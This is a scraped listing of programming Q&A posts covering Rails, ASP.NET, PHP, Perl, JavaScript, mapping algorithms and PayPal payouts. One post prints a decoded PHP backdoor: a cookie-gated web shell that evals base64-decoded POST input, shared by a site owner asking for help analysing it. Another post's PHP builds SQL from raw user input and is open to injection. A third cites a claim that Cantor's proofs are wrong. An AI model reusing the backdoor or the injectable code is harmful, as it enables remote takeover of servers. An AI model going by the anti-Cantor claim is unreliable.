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  • rspec and ruby 1.9.1: problem with dummy controller and routes

    - by giorgian
    I want to test a module that basically executes some verify statements, to ensure that actions are invoked with the correct method. # /lib/rest_verification.rb module RestVerification def self.included(base) # :nodoc: base.extend(ClassMethods) end module ClassMethods def verify_rest_actions verify :method => :post, :only => [:create], :redirect_to => { :action => :new } ... end end end I tried this: describe RestVerification do class FooController < ActionController::Base include RestVerification verify_rest_actions def new ; end def index ; end def create ; end def edit ; end def update ; end def destroy ; end end # controller_name 'foo' # this only works with ruby 1.8.7 : 1.9.1 says "uninitialized constant FooController" tests FooController # this works with both before(:each) do ActionController::Routing::Routes.draw do |map| map.resources :foo end end after(:each) do ActionController::Routing::Routes.reload! end it ':create should redirect to :new if invoked with wrong verb' do [:get, :put, :delete].each do |verb| send verb, :create response.should redirect_to(new_foo_url) end end ... end When testing: $ ruby -v ruby 1.8.7 (2010-01-10 patchlevel 249) [i486-linux] $ rake RestVerification :create should redirect to :new if invoked with wrong verb Finished in 0.175586 seconds $ rvm use 1.9.1 Using ruby 1.9.1 p378 $ rake RestVerification :create should redirect to :new if invoked with wrong verb (FAILED - 1) 1) 'RestVerification :create should redirect to :new if invoked with wrong verb' FAILED expected redirect to "http://test.host/foo/new", got redirect to "http://test.host/spec/rails/example/controller_example_group/subclass_1/foo/new" Is this a known issue? Is there a workaround?

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  • Multi-threaded library calls in ASP.NET page request.

    - by ProfK
    I have an ASP.NET app, very basic, but right now too much code to post if we're lucky and I don't have to. We have a class called ReportGenerator. On a button click, method GenerateReports is called. It makes an async call to InternalGenerateReports using ThreadPool.QueueUserWorkItem and returns, ending the ASP.NET response. It doesn't provide any completion callback or anything. InternalGenerateReports creates and maintains five threads in the threadpool, one report per thread, also using QueueUserWorkItem, by 'creating' five threads, also with and waiting until calls on all of them complete, in a loop. Each thread uses an ASP.NET ReportViewer control to render a report to HTML. That is, for 200 reports, InternalGenerateReports should create 5 threads 40 times. As threads complete, report data is queued, and when all five have completed, report data is flushed to disk. My biggest problems are that after running for just one report, the aspnet process is 'hung', and also that at around 200 reports, the app just hangs. I just simplified this code to run in a single thread, and this works fine. Before we get into details like my code, is there anything obvious in the above scendario that might be wrong?

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  • What makes people think that NNs have more computational power than existing models?

    - by Bubba88
    I've read in Wikipedia that neural-network functions defined on a field of arbitrary real/rational numbers (along with algorithmic schemas, and the speculative `transrecursive' models) have more computational power than the computers we use today. Of course it was a page of russian wikipedia (ru.wikipedia.org) and that may be not properly proven, but that's not the only source of such.. rumors Now, the thing that I really do not understand is: How can a string-rewriting machine (NNs are exactly string-rewriting machines just as Turing machines are; only programming language is different) be more powerful than a universally capable U-machine? Yes, the descriptive instrument is really different, but the fact is that any function of such class can be (easily or not) turned to be a legal Turing-machine. Am I wrong? Do I miss something important? What is the cause of people saying that? I do know that the fenomenum of undecidability is widely accepted today (though not consistently proven according to what I've read), but I do not really see a smallest chance of NNs being able to solve that particular problem. Add-in: Not consistently proven according to what I've read - I meant that you might want to take a look at A. Zenkin's (russian mathematician) papers after mid-90-s where he persuasively postulates the wrongness of G. Cantor's concepts, including transfinite sets, uncountable sets, diagonalization method (method used in the proof of undecidability by Turing) and maybe others. Even Goedel's incompletness theorems were proven in right way in only 21-st century.. That's all just to plug Zenkin's work to the post cause I don't know how widespread that knowledge is in CS community so forgive me if that did look stupid. Thank you!

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  • javascript: "Object doesn't support this property or method" when ActiveX object called.

    - by agnieszka
    I've got simple html on Login.aspx with an ActiveX object: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head><title></title> <script language="javaScript" type="text/javascript"> function getUserInfo() { var userInfo = MyActiveX.GetInfo(); form1.info.value = userInfo; form1.submit(); } </script> </head> <body onload="javascript:getUserInfo()"> <object id="MyActiveX" name="MyActiveX" codebase="MyActiveX.cab" classid="CLSID:C63E6630-047E-4C31-H457-425C8412JAI25"></object> <form name="form1" method="post" action="Login.aspx"> <input type="hidden" id="info" name="info" value="" /> </form> </body> </html> The code works perfectly fine on my machine (edit: hosted and run), it does't work on the other: there is an error "Object doesn't support this property or method" in the first line of javascript function. The cab file is in the same folder as the page file. I don't know javascript at all and have no idea why is the problem occuring. Googling didn't help. Do you ave any idea? Edit: on both machines IE was used and activex was enabled. Edit2: I also added if (document.MyActiveX) at the beggining of the function and I still get error in the same line of code - I mean it looks like document.MyActiveX is true but calling the method still fails

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  • Bind a ViewModel to a DropDownListFor with a third value besides dataValueField/dataTextField

    - by Elisa
    When I show a list of testplanViewModels in my View and the user selects one the SelectedTestplanId is returned to the Controller post action. What should also be returned is the TemplateId which belongs to the SelectedTestplanId. When the AutoMapper definition is run the Testplan.TestplanId is implicitly copied over to the TestplanViewModel.TestplanId. The same could be done by providing a TemplateId on the TestplanViewModel. When the user selects now a "TestplanViewModel" in the View, how can I attach the TemplateId to the controller action to access it there? The DropDownList does not allow 2 dataValueFields! CreateMap<Testplan, TestplanViewModel>().ForMember(dest => dest.Name, opt => opt.MapFrom(src => string.Format("{0}-{1}-{2}-{3}", src.Release.Name, src.Template.Name, src.CreatedAt, src.CreatedBy))); public ActionResult OpenTestplanViewModels() { IEnumerable<Testplan> testplans = _testplanDataProvider.GetTestplans(); var viewModel = new OpenTestplanViewModel { DisplayList = Mapper.Map<IEnumerable<Testplan>, IEnumerable<TestplanViewModel>>(testplans) }; return PartialView(viewModel); } public class TestplanViewModel { public int TestplanId { get; set; } public string Name { get; set; } } public class OpenTestplanViewModel { [Required(ErrorMessage = "No item selected.")] public int SelectedTestplanId { get; set; } public IEnumerable<TestplanViewModel> DisplayList { get; set; } } OpenTestplanViewModel @using (Html.BeginForm("Open", "Testplan")) { @Html.ValidationSummary(false) @Html.DropDownListFor(x => x.SelectedTestplanId, new SelectList(Model.DisplayList, "TestplanId", "Name"), new { @class = "listviewmodel" }) }

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  • Stored Procedures In Source Control - Automate Build/Deployment Process

    - by Alex
    My company provides a large .NET service-oriented solution. The services layer interact with a T-SQL back-end consisting of hundreds of tables and stored procedures. Our C# code is in version-control (SVN) but our stored procedures and schema are not. After much lobbying of expedient upper-management, I was allowed to review our (non-existent) build/deployment process to accomplish the following goals: Place schema and stored procedures under source-control. Automate the build/deployment process. I would like to proceed per the accepted answer's strategy in this post but have additional questions: I would like to use Hudson as my build server. Is this a reasonable choice for a C#/SQL solution? What better alternatives should I explore? Assuming I have all triggers, stored-procedures, schema, etc... under source control, and that they are scripted to individual files, how do I generate a build script which will take into account dependencies/references between these items? (SQL Server does this automatically, but it generates one giant script) What does the workflow of performing an update at the client look like? i.e. I have to keep existing table data. How do I roll-back schema changes? I am the only programmer. Several other pseudo-technical staff like to make changes directly inside SQL Management Studio. Is it realistic to expect others to adhere to this solution -- how can I enforce this? Thank you in advance for your help.

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  • C# / IronPython Interop with shared C# Class Library

    - by Adam Haile
    I'm trying to use IronPython as an intermediary between a C# GUI and some C# libraries, so that it can be scripted post compile time. I have a Class library DLL that is used by both the GUI and the python and is something along the lines of this: namespace MyLib { public class MyClass { public string Name { get; set; } public MyClass(string name) { this.Name = name; } } } The IronPython code is as follows: import clr clr.AddReferenceToFile(r"MyLib.dll") from MyLib import MyClass ReturnObject = MyClass("Test") Then, in C# I would call it as follows: ScriptEngine engine = Python.CreateEngine(); ScriptScope scope = null; scope = engine.CreateScope(); ScriptSource source = engine.CreateScriptSourceFromFile("Script.py"); source.Execute(scope); MyClass mc = scope.GetVariable<MyClass>("ReturnObject ") When I call this last bit of code, source.Execute(scope) runs returns successfully, but when I try the GetVariable call, it throw the following exception Microsoft.Scripting.ArgumentTypeException: expected MyClass , got MyClass So, you can see that the class names are exactly the same, but for some reason it thinks they are different. The DLL is in a different directory than the .py file (I just didn't bother to write out all the path setup stuff), could it be that there is an issue with the interpreter for IronPython seeing these objects as difference because it's somehow seeing them as being in a different context or scope?

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  • ASP.NET MVC Membership, Get new UserID

    - by Vishal Bharakhda
    I am trying to register a new user and also understand how to get the new userID so i can start creating my own user tables with a userID mapping to the asp.net membership user table. Below is my code: [AcceptVerbs(HttpVerbs.Post)] public ActionResult Register(string userName, string email, string position, string password, string confirmPassword) { ViewData["PasswordLength"] = MembershipService.MinPasswordLength; ViewData["position"] = new SelectList(GetDeveloperPositionList()); if (ValidateRegistration(userName, email, position, password, confirmPassword)) { // Attempt to register the user MembershipCreateStatus createStatus = MembershipService.CreateUser(userName, password, email); if (createStatus == MembershipCreateStatus.Success) { FormsAuth.SignIn(userName, false /* createPersistentCookie */); return RedirectToAction("Index", "Home"); } else { ModelState.AddModelError("_FORM", ErrorCodeToString(createStatus)); } } // If we got this far, something failed, redisplay form return View(); } I've done some research and many sites inform me to use Membership.GetUser().ProviderUserKey; but this throws an error as Membership is NULL. I placed this line of code just above "return RedirectToAction("Index", "Home");" within the if statement. Please can someone advise me on this... Thanks in advance

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  • pagination and url encoding help

    - by Sufyan
    <?php $name=$_POST['name']; ?> <form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>"> <input type="text" name="name"> <input type="submit" value="GO" name="submit"> </form> <?php include ('db.php'); if(isset($_POST['submit'])) { mysql_query ("INSERT INTO example (name) VALUES('$name')") or die(mysql_error()); } if (!isset($_GET['startrow']) or !is_numeric($_GET['startrow'])) { $startrow = 0; } else { $startrow = (int)$_GET['startrow']; } $query = "SELECT * FROM example ORDER BY id DESC LIMIT $startrow, 20"; $result = mysql_query($query) or die(mysql_error()); while($row = mysql_fetch_array($result)){ echo "<li>"; echo $row['name'] ." "." <a href= 'like.php?quote=" . urlencode( $row['name'] ) . "'>Click Here</a>"; echo "</li>"; } echo '<a href="'.$_SERVER['PHP_SELF'].'?startrow='.($startrow+10).'">Next</a>'; ?> I want to make my page links hidden , how can i make then hidden so that a user cant edit it. 2nd question, currently i am showing total 10 records on each page and then a next page button , but the next button is keep showing even when there is no more records...! how to remove a next page button when records ended. ?? line number 28 is the link to pages which can be easyily editable by any user, i wnat to make them secure (using ID) and line 35 is n'next' page link , this link should not be appear when number of records ended

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  • "One or more breakpoints cannot be set and have been disabled. Execution will stop at the beginning

    - by sam
    I set a breakpoint in my code in Visual-C++, but when I run, I see the error mentioned in the title. I know this question has been asked before on Stack Overflow (http://stackoverflow.com/questions/657470/breakpoints-cannot-be-set-and-have-been-disabled-problem), but none of the answers there fully explained the problem I'm seeing. The closest I can see is something about the linker, but I don't understand that - so if someone could explain in more detail that would be great. In my case, I have 2 projects in Visual C++ - the production dsw, and the test code dsw. I have loaded and rebuilt both dsws in debug mode. I want a breakpoint in the production code, which is run via the test scripts. My issue is I get the error message when I run the test code, because the break point is in the production code, which isn't loaded up when the test starts. Near the beginning of the test script there is a mytest_initialize() command. I imagine this goes off and loads up the production dll. Once this line has executed, I can put the breakpoint in my production code and run until I hit it. But it's quite annoying to have to run to this line, set the breakpoint and continue every time I want to run the test. So I think the problem is Visual C++ doesn't realise the two projects are related. Is this a linker issue? What does the linker do and what settings should I change to make this work? Thanks in advance. Apologies if instead I should be appending this question to the existing one, this is my first post so not quite sure how this should work.

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  • Ruby TypeErrors involving `expected Data`

    - by Kenny Peng
    I've ran into situations where I have gotten these expected Data errors before, but they have always pointed to ActiveRecord not playing well with other libraries in the past. This piece of code: def load(kv_block, debug=false) # Converts a string block to a Hash using split kv_map = StringUtils.kv_array_to_hash(kv_block) # Loop through each key, value kv_map.each do |mem,val| # Format the member from camel case to underscore member = mem.camel_to_underscore() # If the object includes a method to set the key (i.e. the key # is a member of self), invoke the method, setting the value of # the member) if self.methods.include?(member.to_set_method_name()) then # Exception thrown here self.send(member.to_set_method_name(), val) # Else, check for the same case, this time for an instance variable elsif self.instance_variable_defined?(member.to_instance_var_name()) self.instance_variable_set(member.to_instance_var_name(), val) # Else, complain that the object doesn't understand the key with # respect to its class definition. else raise ArgumentError, "I don't know what to do with #{member}. #{self.class} does not have a member or function called #{member}" end end end produces the error wrong argument type #<Class:0x11a02088> (expected Data) (TypeError) in the each loop on the first if test. I've inspected a post-mortem debugging instance using rdebug, and running that line manually, it works without a hitch. Has anyone seen this error before and what's been your solution to it? I used to think it was ActiveRecord and other gems stomping on each other's definitions, but I removed any references to ActiveRecord and this still occurs.

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  • Nest input inside f.label ( rails form generation )

    - by Mike
    I want to use the f.label method to create my form element labels, however - i want to have the form element nested inside the label. Is this possible? -- From W3C -- To associate a label with another control implicitly, the control element must be within the contents of the LABEL element. In this case, the LABEL may only contain one control element. The label itself may be positioned before or after the associated control. In this example, we implicitly associate two labels with two text input controls: <FORM action="..." method="post"> <P> <LABEL> First Name <INPUT type="text" name="firstname"> </LABEL> <LABEL> <INPUT type="text" name="lastname"> Last Name </LABEL> </P> </FORM>

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  • PHP check http referer for form submitted by AJAX, secure?

    - by Michael Mao
    Hi all: This is the first time I am working for a front-end project that requires server-side authentication for AJAX requests. I've encountered problems like I cannot make a call of session_start as the beginning line of the "destination page", cuz that would get me a PHP Warning : Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at C:\xampp\htdocs\comic\app\ajaxInsert Book.php:1) in C:\xampp\htdocs\comic\app\common.php on line 10 I reckon this means I have to figure out a way other than checking PHP session variables to authenticate the "caller" of this PHP script, and this is my approach : I have a "protected" PHP page, which must be used as the "container" of my javascript that posts the form through jQuery $.ajax(); method In my "receiver" PHP script, what I've got is: <?php define(BOOKS_TABLE, "books"); define(APPROOT, "/comic/"); define(CORRECT_REFERER, "/protected/staff/addBook.php"); function isRefererCorrect() { // the following line evaluates the relative path for the referer uri, // Say, $_SERVER['HTTP_REFERER'] returns "http://localhost/comic/protected/staff/addBook.php" // Then the part we concern is just this "/protected/staff/addBook.php" $referer = substr($_SERVER['HTTP_REFERER'], 6 + strrpos($_SERVER['HTTP_REFERER'], APPROOT)); return (strnatcmp(CORRECT_REFERER, $referer) == 0) ? true : false; } //http://stackoverflow.com/questions/267546/correct-http-header-for-json-file header('Content-type: application/json charset=UTF-8'); header('Cache-Control: no-cache, must-revalidate'); echo json_encode(array ( "feedback"=>"ok", "info"=>isRefererCorrect() )); ?> My code works, but I wonder is there any security risks in this approach? Can someone manipulate the post request so that he can pretend that the caller javascript is from the "protected" page? Many thanks to any hints or suggestions.

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  • Perl: remove relative path components but leave symlinks alone?

    - by jnylen
    I need to get Perl to remove relative path components from a Linux path. I've found a couple of functions that almost do what I want, but: File::Spec->rel2abs does too little. It does not resolve ".." into a directory properly. Cwd::realpath does too much. It resolves all symbolic links in the path, which I do not want. Perhaps the best way to illustrate how I want this function to behave is to post a bash log where FixPath is a hypothetical command that gives the desired output: '/tmp/test'$ mkdir -p a/b/c1 a/b/c2 '/tmp/test'$ cd a '/tmp/test/a'$ ln -s b link '/tmp/test/a'$ ls b link '/tmp/test/a'$ cd b '/tmp/test/a/b'$ ls c1 c2 '/tmp/test/a/b'$ FixPath . # rel2abs works here ===> /tmp/test/a/b '/tmp/test/a/b'$ FixPath .. # realpath works here ===> /tmp/test/a '/tmp/test/a/b'$ FixPath c1 # rel2abs works here ===> /tmp/test/a/b/c1 '/tmp/test/a/b'$ FixPath ../b # realpath works here ===> /tmp/test/a/b '/tmp/test/a/b'$ FixPath ../link/c1 # neither one works here ===> /tmp/test/a/link/c1 '/tmp/test/a/b'$ FixPath missing # should work for nonexistent files ===> /tmp/test/a/b/missing

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  • How do I create an "iframe popup" when I hover over an <a> tag?

    - by Angela
    Here is the scenario: a User will see a list of company names, each wrapped in an tag. He is able to see dynamic information and as he hover over each name and then make a request. So Given a list of companies, each wrapped in an tag. When the cursor hovers over an tag Then a "pop-up" appears that contains an -based, dynamic content. Given the pop-up When the User clicks on the "submit" button in the pop-up Then the form (based on the framework" is submitted and ajax displays "request succesful" So, because I am using a php-framework, I'd like to use iframe to contain the form. Some challenges: When the cursor is no longer hovering over the tag, the hover disappears. How do I keep it operating? How do I make it appear in an so I can have full form-submission and POST-ing dynamic values through the URL? How do the "popup" disappear when the cursor is no longer on either the -tag or the pop-up itself? Can I do it without loading a bunch of 's onto the page, because the list of companies could be long.

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  • String Parameter in url

    - by Ivan90
    Hy Guys, I have to pass in a method action a string parameter, because I want to implement a tags' search in my site with asp.net MVC but everytime in action it is passed a null value. I post some code! I try to create a personal route. routes.MapRoute( "TagsRoute", "Tags/PostList/{tag}", new {tag = "" } ); My RouteLink in a viewpage for each tag is: <% foreach (var itemtags in item.tblTagArt) {%> <%= Html.RouteLink(itemtags.Tags.TagName,"TagsRoute", new {tag=itemtags.Tags.TagName})%>, <% } %> My method action is: public ActionResult PostList(string tag) { if (tag == "") { return RedirectToAction("Index", "Home"); } else { var articoli = artdb.GetArticoliByTag(tag); if (articoli == null) { return RedirectToAction("Index", "Home"); } return View(articoli); } } Problem is value tag that's always null, and so var articoli is always empty! Probably my problem is tag I have to make a route contrainst to my tag parameter. Anybody can help me? N.B I am using ASP.NET MVC 1.0 and not 2.0!

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  • My jQuery and PHP give different results on the same thing?

    - by Stefan
    Hey all, Annoying brain numbing problem. I have two functions to check the length of a string (primarily, the js one truncates as well) heres the one in Javascript: $('textarea#itemdescription').keyup(function() { var charLength = $(this).val().length; // Displays count $('span#charCount').css({'color':'#666'}); $('span#charCount').html(255 - charLength); if($(this).val().length >= 240){ $('span#charCount').css({'color':'#FF0000'}); } // Alerts when 250 characters is reached if($(this).val().length >= 255){ $('span#charCount').css({'color':'#FF0000'}); $('span#charCount').html('<strong>0</strong>'); var text = $('textarea#itemdescription').val().substring(0,255) $('textarea#itemdescription').val(text); } }); And here is my PHP to double check: if(strlen($_POST["description"])>255){ echo "Description must be less than ".strlen($_POST["description"])." characters"; exit(); } I'm using jQuery Ajax to post the values from the textarea. However my php validation says the strlen() is longer than my js is essentially saying. So for example if i type a solid string and it says 0 or 3 chars left till 255. I then click save and the php gives me the length as being 261. Any ideas? Is it to do with special characters, bit sizes that js reads differently or misses out? Or is it to do with something else? Maybe its ill today!... :P Thanks, Stefan

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  • PHP hack files found - help decoding and identifying

    - by akc
    I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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  • css layout for footer at bottom with dynamic ajax content changing height of page

    - by m42
    [Update] I actually compromised on this problem for now by foregoing the fixed footer design. It seems that there is no problem with dynamic content moving the footer and resizing containers appropriately unless the footer is fixed to the browser bottom initially. I hope others will eventually provide a great solution that encompasses the best of both worlds. I spent all day trying to get the footer to move down the page to accommodate dynamically added (via ajax) content. I really need some pointers or links because I haven't found anything that helps. Basically: My site has some pages that begin with only a text box and a button so that the total height of the content area is only a few inches beneath the header area. I don't have any problem getting the sticky footer working so that the footer appears at the bottom of the browser window even when there is very little content on screen. That same css layout works fine for other pages that have content that extends beneath the browser window. The catch: The content has to be rendered and passed to the browser with the initial load. The Problem: Any content that is added to the page via AJAX after the initial load paints down the page correctly -- but the footer remains in its initial location. Please tell me there is a fix for this. I can't post the css until checking with my boss first - if possible - and if needed, I will later - but it's just a very basic version of the many sticky footer css solutions floating around the web. Thanks.

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  • How do I reference my MainViewController from another class?

    - by todd412
    Hi, I am building an iPhone Utility app that uses UIImageView to display an animation. Within the MainViewController's viewDidLoad() method, I am creating an instance of a CustomClass, and then setting up the animations: - (void)viewDidLoad { [super viewDidLoad]; cc = [CustomClass new]; NSArray * imageArray = [[NSArray alloc] initWithObjects: [UIImage imageNamed:@"image-1-off.jpg"], [UIImage imageNamed:@"image-2-off.jpg"], [UIImage imageNamed:@"image-3-off.jpg"], [UIImage imageNamed:@"image-4-off.jpg"], nil]; offSequence = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, 320, 480)]; offSequence.animationImages = imageArray; offSequence.animationDuration = .8; offSequence.contentMode = UIViewContentModeBottomLeft; [self.view addSubview:offSequence]; [offSequence startAnimating]; } That works fine. However, I would like to be able to move all the above code that sets up the UIImageView into my CustomClass. The problem is in the second to last line: [self.view addSubview:offSequence]; I basically need to replace 'self' with a reference to the MainControllerView, so I can call addSubview from within my CustomClass. I tried creating an instance var of CustomClass called mvc and a setter method that takes a reference to the MainViewController as an argument as such: - (void) setMainViewController: (MainViewController *) the_mvc { mvc = the_mvc; } And then I called it within MainViewController like so: [cc setMainController:MainViewController:self]; But this yields all sorts of errors which I can post here, but it strikes me that I may be overcomplicating this. Is there an easier way to reference the MainViewController that instanatiated my CustomClass?

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  • ASP.NET MVC URL Routing problem

    - by Sadegh
    hi, i have defined a route as below: context.MapRoute("SearchEngineWebSearch", "search/web/{query}/{index}/{size}", new { controller = "search", action = "web", query = "", index = 0, size = 5 }); and action method to handle request match with that: public System.Web.Mvc.ActionResult Web(string query = "", int index = 0, int size = 5) { if (string.IsNullOrEmpty(query)) return RedirectToRoute("SearchEngineBasicSearch"); var search = new Search(); var results = search.PerformSearch(query, index, size); ViewData["Query"] = query; if (results != null && results.Count() > 0) { ViewData["Results"]= results; return View("Web"); } else return View("Not-Found"); } and form to sent parameter to action method: <% using (Html.BeginForm("Web", "Search", FormMethod.Post)) { %> <input name="query" type="text" value="<%: ViewData["Query"]%>" class="search-field" /> <input type="submit" value="Search" class="search-button" /> <input type="hidden" name="index" value="2" /> <input type="hidden" name="size" value="2" /> <%} %> now after click on submit and sending value to action method all route values updated but url values still is equals to first time of sending parameter. for example if i sent for first time request such as http://localhost/search/web/google and for next time http://localhost/search/web/yahoo, query parameter which passed to action method is yahoo but url after postback is http://localhost/search/web/google still! can anybody help me plz? ;)

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  • How to handle images better in Android

    - by primal
    In the microblogging application I am developing I wish to show an user image beside each post in the timeline. The images are small in size(max 50*50 dip) and are not more than 10 in number. I've two approaches in my mind. 1) Allow user to chose an image from Gallery on signing up. Send the image to the server and on subsequent signups load the image from the server. I'm worried whether this approach is doing too much unnecessary work. 2) The same method is same as above in first step but this time the image is not send to the server but a key value associated with the image is sent to the server. On subsequent signups, after obtaining the key from the server the specific image is loaded from gallery. I am not sure whether the second approach is possible. Any corrections on this aspect would be much appreciated. Also, Is it possible to store an image in SharedPreferences? Any new approach to handle this problem better are welcome.

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  • Using javascript and php together

    - by EmmyS
    I have a PHP form that needs some very simple validation on submit. I'd rather do the validation client-side, as there's quite a bit of server-side validation that happens to deal with writing form values to a database. So I just want to call a javascript function onsubmit to compare values in two password fields. This is what I've got: function validate(form){ var password = form.password.value; var password2 = form.password2.value; alert("password:"+password+" password2:" + password2); if (password != password2) { alert("not equal"); document.getElementByID("passwordError").style.display="inline"; return false; } alert("equal"); return true; } The idea being that a default-hidden div containing an error message would be displayed if the two passwords don't match. The alerts are just to display the values of password and password2, and then again to indicate whether they match or not (will not be used in production code). I'm using an input type=submit button, and calling the function in the form tag: <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" onsubmit="return validate(this);"> Everything is alerting as expected when entering non-matching values. I would have hoped (and assumed, based on past use) that if the function returned false, the actual submit would not occur. And yet, it is. I'm testing by entering non-matching values in the password fields, and the alerts clearly show me the values and the not equal result, but the actual form action is still occurring and it's trying to write to my database. I'm pretty new at PHP; is there something about it that will not let me combine with javascript this way? Would it be better to use an input type=button and include submit() in the function itself if it returns true?

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  • What algorithms compute directions from point A to point B on a map?

    - by A. Rex
    How do map providers (such as Google or Yahoo! Maps) suggest directions? I mean, they probably have real-world data in some form, certainly including distances but also perhaps things like driving speeds, presence of sidewalks, train schedules, etc. But suppose the data were in a simpler format, say a very large directed graph with edge weights reflecting distances. I want to be able to quickly compute directions from one arbitrary point to another. Sometimes these points will be close together (within one city) while sometimes they will be far apart (cross-country). Graph algorithms like Dijkstra's algorithm will not work because the graph is enormous. Luckily, heuristic algorithms like A* will probably work. However, our data is very structured, and perhaps some kind of tiered approach might work? (For example, store precomputed directions between certain "key" points far apart, as well as some local directions. Then directions for two far-away points will involve local directions to a key points, global directions to another key point, and then local directions again.) What algorithms are actually used in practice? PS. This question was motivated by finding quirks in online mapping directions. Contrary to the triangle inequality, sometimes Google Maps thinks that X-Z takes longer and is farther than using an intermediate point as in X-Y-Z. But maybe their walking directions optimize for another parameter, too? PPS. Here's another violation of the triangle inequality that suggests (to me) that they use some kind of tiered approach: X-Z versus X-Y-Z. The former seems to use prominent Boulevard de Sebastopol even though it's slightly out of the way. (Edit: this example doesn't work anymore, but did at the time of the original post. The one above still works as of early November 2009.)

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  • How do I implement "cash out" on my site using PayPal?

    - by Alex
    I have a credit system set up on my site where user A can purchase a document from user B, let's say for 1 credit and user B's account gets credited, let's say for $1. User B can then "cash out" and recieve the money they earned from my (the site's) PayPal account into their PayPal account (let's assume that their email address is valid for now). When user A purchases a credit, they are taken to PayPal where they can login and complete the purchase, for this purpose I have an IPN listener set up on my site that stores credit information to my site's database. However, I can't find a mechanism to send the "cash out" information (i.e. user's email and amount to be paid) to PayPal. To elaborate: I understand that PayPal sends the IPN when someone purchases from me, but how do I post from my site to PayPal when the user clicks the "cash out" button? I have seen mention of Mass Pay, but can't seem to locate any code samples to go from. Am I missing something, or is there perhaps a different (and better) way to do this? Thanks!

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